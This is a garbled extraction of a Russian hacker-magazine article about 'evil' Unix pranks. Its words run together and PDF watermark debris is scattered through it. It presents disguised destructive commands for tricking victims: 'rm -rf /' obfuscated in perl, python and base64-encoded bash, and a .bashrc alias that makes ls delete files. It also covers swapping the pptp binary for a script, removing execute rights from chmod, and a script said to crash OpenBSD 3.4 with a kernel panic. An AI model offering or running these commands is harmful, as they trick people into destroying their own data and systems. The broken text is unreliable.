
 

 

 

номилипрограммой. Дляпримерасимитиру-

 

нашегофиктивногофайла. Компилируем:

 

// скрываем имя нашей программы

 

емработупочтовогодемонаpopa3d:

 

 

 

 

__progname = "";

 

 

 

 

 

$ gcc hole.c -o cool_app

 

 

 

 

 

$ VI POPA3D-FAKE.SH

 

 

 

 

 

 

 

 

 

 

 

(void)gethostname(hostname,

 

#!bin/sh

 

 

Подсовываемжертве. Оназапускаетпрограм-

 

 

 

 

 

 

 

 

 

 

 

XÀÊÅÐ 11 /131/ 09

077

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

UNIXOID

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Простойрецепт, какужатьфайл любойдлинывнесколькодесятков байт

Файловаядыра: всегениальное просто

муиполучаетнаэкран«Segmentation fault».

Послечеготыговоришьей, что, мол, бывает, попробуйзапуститьудруга… Вконцеконцов жертвазабываетобэтойпрограммеиводин прекрасныйденьнатыкаетсянафайл, размер которогоравен1048576012 байт! Почтитерабайт! Далееможноначинатьржатьнадтем, как нашлопухрассказываетвсем, чтонашелусебя всистеме(сжесткимдискомна500 Гб) файл, размеромводинтерабайт. Шуткастанетеще болеесмешной, еслифайлупрятатьвсистему достаточнохорошо. Деловтом, чтомногие файловыесистемывозвращаютразмерсвободного/занятогопространствасучетомэтих самыхнулевыхблоков, иполучится, чтопосле созданияфайлакомандаdf будетпоказывать полнуюзанятостьраздела(если, конечно, он небольше1 Тб), чтосовсемнесоответствует истине.

Ноэтовсеневинныешалости, конкретные подколыначнутсявтомслучае, еслитыполучишьдоступккомпужертвысправамиroot. Тогдатебеоткроетсянастоящийпростордля западлостроений. Например, можноизменитьзагрузочноеменюgrub (файл/boot/grub/ menu.lst) ипрописатьвнемWindows 95 вместо Ubuntu Linux, подсунутьдругуюиконкуглавного менюGnome (/usr/share/icons/gnome/scalable/ places/gnome-main-menu.svg), модифициро-

ватьфайл/etc/fstab так, чтобывкачестведомашнегокаталогапользователямонтировался каталог/tmp имногоедругое.

Достаточноинтересным, аглавное, ставящимв тупикмногих, являетсятрюк, получившийимя «Укуситьсебязахвост». Сутьегозаключаетсяв том, чтобыпростоснятьскомандыchmod права наисполнениеитакимобразомдобитьсятого, чтожертванесможетменятьправадоступа любогофайла:

# chmod -x 'which chmod'

Еслихочетсячего-нибудьэдакого, товот теберецепт, которыйпревратитинициацию соединенияпопротоколуPPTP (VPN) ввызов модемногодиалап-соединения(виртуально,

естественно). Выполниследующуюпоследовательностьдействий:

1.Переименуйфайл/usr/sbin/pptp:

#mv /usr/sbin/{pptp,pptp.bak}

2.Положинаегоместоскрипт:

#VI /USR/SBIN/PPTP

#!/bin/sh

dd if=/bin/ls of=/dev/dsp & pptp.bak $*

3.Дайскриптуправанаисполнение:

#chmod a+x /usr/sbin/pptp

Командуpptp используетлюбаяпрограмма, подключающаясякVPN-серверупопротоколу pptp, включаяNetworkManager, поумол-

чаниюпоставляемыйсUbuntu. Подменив егонанашскрипт, мыдобилисьтого, что вовремякаждойинициациисоединенияс серверомпользовательбудетслышатьзвук,

сильнонапоминающийиздаваемыймодемом придиалапномсоединении. Вкачестве источникашумовявыбрал/bin/ls, который хорошоподходиткакподлительности, таки позвучанию, нотыможешьпоэкспериментироватьиподобратьдругойфайл(желательно бинарный).

СТРЕСС-ТЕСТ ФАЙЛОВОЙ СИСТЕМЫ. ЭТОТ НЕЗАМЫСЛОВАТЫЙ СКРИПТ ПРИВОДИТ К ПАНИКЕ ЯДРА ОС OPENBSD ВЕРСИИ 3.4 И НИЖЕ

#! /bin/sh

mkdir stressdir while [ 1 ]; do

for dir in a b c; do

mkdir stressdir/$dir

for dir2 in 0 1 2 3 4 5 6 7 8 9; do

(dd if=/dev/zero of=stressdir/$dir/$dir2 bs=1024k count=100 && rm -f stressdor/$dir/$dir2) >/dev/null &

done

done wait done

Готовпоспорить, чтониодинюниксоиднеждетоткомандыvi такой реакции

ЗЛЫЕШУТКИ

Злых шуток пользователи *nix-систем придумали гораздо больше. Здесь есть все, начиная от классического «rm -Rf /», удаляющего все файлы, доступные для записи,

изаканчивая многочисленными форк-бом- бами и способами отправить ядро в kernel panic. Я бы порекомендовал несколько раз подумать, перед тем как применять их на практике (особенно те, которые уничтожают файлы). Целевая аудитория: обидчики, придурки, гопники и все те, кого не жалко даже твоей бабушке.

Начнемсклассики— удалениявсего, до чегоможемдобраться. Издревнеэтаоперацияпроизводиласьспомощьюподсунутой пользователюкоманды«rm -Rf /», которую онблагополучнозапускал(да, иэтосрабатывало, ананекоторыхубунтоводахсработаети

сейчас), издавалнесколькопрощальныхзвуков

инанесколькочасоввыбывалвофлайн. Сегодняшниепользователиболеепродвинутыипо настояниюстаршихнезапускаюткоманды, не прочитавman-страницы. Чтожетогдаделать? Командуможно, например, замаскировать, как этосделалодинизпосетителейlinux.org.ru в 2003 году, подкинуввфорумприведенныйниже perl-скриптспросьбойпомочьвегоотладке.

# perl -e '$??s:;s:s;;$?::s;;=]=>%- {<-|}<&|'{;;y; -/:-@[-'{-};'-{/" -;;s;;$_;see'

Естественно, дляпожелавшихпомочь«бедолаге» всезакончилосьвесьмаивесьмаплачевно. Подобныйспособмаскировкисуществуетидля python:

#python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Идляbash (правдаеголегкораскрыть, опустив скобки):

#$(echo c3VkbyBybSAtcmYgLwo=|base64 -d)

Другая, достаточносмешная, шутка— подсунутькомандуrm вкачествеalias’адлядругой команды:

$ echo "alias ls=’rm -rf * >/dev/null 2>&1; ls’" >> ~/.bashrc

Врезультатепередкаждымвызовомкоманды

078

XÀÊÅÐ 11 /131/ 09

Соседние файлы в папке журнал хакер